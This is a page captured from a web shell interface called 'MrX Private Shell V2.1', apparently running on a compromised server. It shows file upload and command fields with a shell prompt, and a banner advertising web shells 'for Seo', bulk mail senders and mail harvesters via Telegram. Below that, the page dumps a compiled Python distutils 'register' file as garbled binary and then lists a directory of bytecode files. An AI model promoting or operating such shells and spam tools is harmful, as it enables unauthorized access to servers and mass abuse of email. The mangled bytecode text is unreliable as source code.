__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.217.167: ~ $
a

XC?h�-�@sddZddlZddlZddlZddlZddlmZddlm	Z	ddl
TddlmZGdd�de	�Z
dS)	zhdistutils.command.register

Implements the Distutils 'register' command (register with the repository).
�N)�warn)�
PyPIRCCommand)�*)�logc@s�eZdZdZejddgZejgd�Zddd�fgZdd	�Zd
d�Z	dd
�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zddd�ZdS)�registerz7register the distribution with the Python package index)�list-classifiersNz list the valid Trove classifiers)�strictNzBWill stop the registering if the meta-data are not fully compliant)�verifyrr�checkcCsdS)NT���selfrr�?/opt/alt/python39/lib64/python3.9/distutils/command/register.py�<lambda>�zregister.<lambda>cCst�|�d|_d|_dS)Nr)r�initialize_options�list_classifiersrrrrrrs
zregister.initialize_optionscCs*t�|�d|jfdd�}||jjd<dS)Nr)r�)r�restructuredtextr
)r�finalize_optionsr�distributionZcommand_options)r
Z
check_optionsrrrr$s

�zregister.finalize_optionscCsT|��|��|��D]}|�|�q|jr8|��n|jrH|��n|��dS)N)	r�_set_configZget_sub_commandsZrun_commandZdry_run�verify_metadatar�classifiers�
send_metadata)r
Zcmd_namerrr�run+s

zregister.runcCs8tdt�|j�d�}|��|j|_d|_|��dS)zDeprecated API.zddistutils.command.register.check_metadata is deprecated,               use the check command insteadr
rN)r�PendingDeprecationWarningrZget_command_objZensure_finalizedrrr)r
r
rrr�check_metadata:s�zregister.check_metadatacCsz|��}|ikr@|d|_|d|_|d|_|d|_d|_n6|jd|jfvr^td|j��|jdkrp|j|_d|_d	S)
z: Reads the configuration file and set attributes.
        �username�password�
repository�realmTZpypiz%s not found in .pypircFN)Z_read_pypircrrr r!�
has_configZDEFAULT_REPOSITORY�
ValueError)r
ZconfigrrrrDs




zregister._set_configcCs*|jd}tj�|�}t�|�|��dS)z8 Fetch the list of classifiers from the server.
        z?:action=list_classifiersN)r �urllib�requestZurlopenr�info�_read_pypi_response)r
ZurlZresponserrrrUs
zregister.classifierscCs&|�|�d��\}}t�d||�dS)zF Send the metadata to the package index server to be checked.
        r	�Server response (%s): %sN)�post_to_server�build_post_datarr&)r
�code�resultrrrr\szregister.verify_metadatac
Cs�|jrd}|j}|j}nd}d}}d��}||vrd|�dtj�t�}|sRd}q,||vr,td�q,|dk�rl|s|td�}qn|s�t	�	d�}q|t
j��}t
j
�|j�d	}|�|j|||�|�|�d
�|�\}}|�d||ftj�|dk�r�|j�r||j_nf|�d
tj�|�d|��tj�d}|��dv�rNtd�}|�s*d}�q*|��dk�r�|�||��nl|dk�r�ddi}	d|	d<|	d<|	d<d|	d<|	d�s�td�|	d<�q�|	d|	dk�r0|	d�s�t	�	d�|	d<�q�|	d�st	�	d�|	d<�q�|	d|	dk�r�d|	d<d|	d<td��q�|	d�sJtd�|	d<�q0|�|	�\}}|dk�rrt�d||�nt�d�t�d �nP|d!k�r�dd"i}	d|	d<|	d�s�td#�|	d<�q�|�|	�\}}t�d||�dS)$a_ Send the metadata to the package index server.

            Well, do the following:
            1. figure who the user is, and then
            2. send the data as a Basic auth'ed POST.

            First we try to read the username/password from $HOME/.pypirc,
            which is a ConfigParser-formatted file with a section
            [distutils] containing username and password entries (both
            in clear text). Eg:

                [distutils]
                index-servers =
                    pypi

                [pypi]
                username: fred
                password: sekrit

            Otherwise, to figure who the user is, we offer the user three
            choices:

             1. use existing login,
             2. register as a new user, or
             3. set the password to a random string and email the user.

        �1�x�z1 2 3 4z�We need to know who you are, so please choose either:
 1. use your existing login,
 2. register as a new user,
 3. have the server generate a new password for you (and email it to you), or
 4. quit
Your selection [default 1]: z&Please choose one of the four options!z
Username: z
Password: rZsubmitr(��zAI can store your PyPI login so future submissions will be faster.z (the login will be stored in %s)�XZynzSave your login (y/N)?�n�y�2�:action�user�namerZemailNZconfirmz
 Confirm: z!Password and confirm don't match!z
   EMail: z"You will receive an email shortly.z7Follow the instructions in it to complete registration.�3Zpassword_resetzYour email address: )r"rr�split�announcer�INFO�input�print�getpassr$r%ZHTTPPasswordMgr�parseZurlparser Zadd_passwordr!r)r*rZ_get_rc_file�lowerZ
_store_pypircr&)
r
Zchoicerr�choices�authZhostr+r,�datarrrrcs��



��

���








zregister.send_metadatacCs�|jj}|d|��|��|��|��|��|��|��|�	�|�
�|��|��|�
�|��|��|��d�}|ds�|ds�|dr�d|d<|S)Nz1.0)r5�metadata_versionr7�versionZsummaryZ	home_pageZauthorZauthor_email�license�description�keywords�platformrZdownload_url�provides�requires�	obsoletesrJrKrLz1.1rD)r�metadataZget_nameZget_versionZget_descriptionZget_urlZget_contactZget_contact_emailZget_licenceZget_long_descriptionZget_keywordsZ
get_platformsZget_classifiersZget_download_urlZget_providesZget_requiresZ
get_obsoletes)r
�action�metarCrrrr*�s,�zregister.build_post_dataNc
Cs�d|vr$|�d|d|jftj�d}d|}|d}t��}|��D]~\}}t|�tg�td�fvrn|g}|D]R}t|�}|�	|�|�	d|�|�	d�|�	|�|rr|d	d
krr|�	d�qrqH|�	|�|�	d�|�
��d�}d
|tt|��d�}	t
j�|j||	�}
t
j�t
jj|d��}d}z|�|
�}Wn|t
jj�y�}
z*|j�rb|
j��}|
j|
jf}WYd}
~
nTd}
~
0t
jj�y�}
zdt|
�f}WYd}
~
n d}
~
00|j�r�|�|�}d}|j�r�d�d|df�}|�|tj�|S)zC Post a query to the server, and return a string response.
        r7zRegistering %s to %sz3--------------GHSKFJDLGDS7543FJKLFHRE75642756743254z
--z--rz*
Content-Disposition: form-data; name="%s"z

����
�
zutf-8z/multipart/form-data; boundary=%s; charset=utf-8)zContent-typezContent-length)Zpassword_mgrr/Ni�)r0ZOKzK---------------------------------------------------------------------------)r:r rr;�io�StringIO�items�type�str�write�getvalue�encode�lenr$r%ZRequestZbuild_openerZHTTPBasicAuthHandler�open�errorZ	HTTPErrorZ
show_response�fp�readr+�msgZURLErrorr'�join)r
rCrB�boundaryZsep_boundaryZend_boundary�body�key�valueZheadersZreqZopenerr,�er`rrrr)�s^��





��
 "
zregister.post_to_server)N)�__name__�
__module__�__qualname__rGrZuser_optionsZboolean_optionsZsub_commandsrrrrrrrrr*r)rrrrrs"�
zr)�__doc__r>rSZurllib.parser$Zurllib.request�warningsrZdistutils.corerZdistutils.errorsZ	distutilsrrrrrr�<module>s

Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 488 B 0644
__init__.cpython-39.opt-2.pyc File 379 B 0644
__init__.cpython-39.pyc File 488 B 0644
bdist.cpython-39.opt-1.pyc File 3.53 KB 0644
bdist.cpython-39.opt-2.pyc File 3.34 KB 0644
bdist.cpython-39.pyc File 3.53 KB 0644
bdist_dumb.cpython-39.opt-1.pyc File 3.52 KB 0644
bdist_dumb.cpython-39.opt-2.pyc File 3.32 KB 0644
bdist_dumb.cpython-39.pyc File 3.52 KB 0644
bdist_msi.cpython-39.opt-1.pyc File 19.25 KB 0644
bdist_msi.cpython-39.opt-2.pyc File 17.75 KB 0644
bdist_msi.cpython-39.pyc File 19.32 KB 0644
bdist_rpm.cpython-39.opt-1.pyc File 11.9 KB 0644
bdist_rpm.cpython-39.opt-2.pyc File 11.59 KB 0644
bdist_rpm.cpython-39.pyc File 11.95 KB 0644
bdist_wininst.cpython-39.opt-1.pyc File 8.31 KB 0644
bdist_wininst.cpython-39.opt-2.pyc File 8.17 KB 0644
bdist_wininst.cpython-39.pyc File 8.36 KB 0644
build.cpython-39.opt-1.pyc File 3.8 KB 0644
build.cpython-39.opt-2.pyc File 3.72 KB 0644
build.cpython-39.pyc File 3.8 KB 0644
build_clib.cpython-39.opt-1.pyc File 4.7 KB 0644
build_clib.cpython-39.opt-2.pyc File 4.16 KB 0644
build_clib.cpython-39.pyc File 4.7 KB 0644
build_ext.cpython-39.opt-1.pyc File 15.82 KB 0644
build_ext.cpython-39.opt-2.pyc File 13.91 KB 0644
build_ext.cpython-39.pyc File 15.82 KB 0644
build_py.cpython-39.opt-1.pyc File 10.15 KB 0644
build_py.cpython-39.opt-2.pyc File 8.97 KB 0644
build_py.cpython-39.pyc File 10.2 KB 0644
build_scripts.cpython-39.opt-1.pyc File 4.24 KB 0644
build_scripts.cpython-39.opt-2.pyc File 3.86 KB 0644
build_scripts.cpython-39.pyc File 4.24 KB 0644
check.cpython-39.opt-1.pyc File 4.81 KB 0644
check.cpython-39.opt-2.pyc File 4.19 KB 0644
check.cpython-39.pyc File 4.81 KB 0644
clean.cpython-39.opt-1.pyc File 2.05 KB 0644
clean.cpython-39.opt-2.pyc File 1.96 KB 0644
clean.cpython-39.pyc File 2.05 KB 0644
config.cpython-39.opt-1.pyc File 9.99 KB 0644
config.cpython-39.opt-2.pyc File 6.73 KB 0644
config.cpython-39.pyc File 9.99 KB 0644
install.cpython-39.opt-1.pyc File 13.24 KB 0644
install.cpython-39.opt-2.pyc File 12.21 KB 0644
install.cpython-39.pyc File 13.24 KB 0644
install_data.cpython-39.opt-1.pyc File 2.24 KB 0644
install_data.cpython-39.opt-2.pyc File 2.1 KB 0644
install_data.cpython-39.pyc File 2.24 KB 0644
install_egg_info.cpython-39.opt-1.pyc File 2.96 KB 0644
install_egg_info.cpython-39.opt-2.pyc File 2.3 KB 0644
install_egg_info.cpython-39.pyc File 2.96 KB 0644
install_headers.cpython-39.opt-1.pyc File 1.68 KB 0644
install_headers.cpython-39.opt-2.pyc File 1.52 KB 0644
install_headers.cpython-39.pyc File 1.68 KB 0644
install_lib.cpython-39.opt-1.pyc File 4.98 KB 0644
install_lib.cpython-39.opt-2.pyc File 4.41 KB 0644
install_lib.cpython-39.pyc File 4.98 KB 0644
install_scripts.cpython-39.opt-1.pyc File 2.1 KB 0644
install_scripts.cpython-39.opt-2.pyc File 1.96 KB 0644
install_scripts.cpython-39.pyc File 2.1 KB 0644
register.cpython-39.opt-1.pyc File 8.27 KB 0644
register.cpython-39.opt-2.pyc File 7.03 KB 0644
register.cpython-39.pyc File 8.27 KB 0644
sdist.cpython-39.opt-1.pyc File 14.15 KB 0644
sdist.cpython-39.opt-2.pyc File 10.87 KB 0644
sdist.cpython-39.pyc File 14.15 KB 0644
upload.cpython-39.opt-1.pyc File 5.12 KB 0644
upload.cpython-39.opt-2.pyc File 5 KB 0644
upload.cpython-39.pyc File 5.12 KB 0644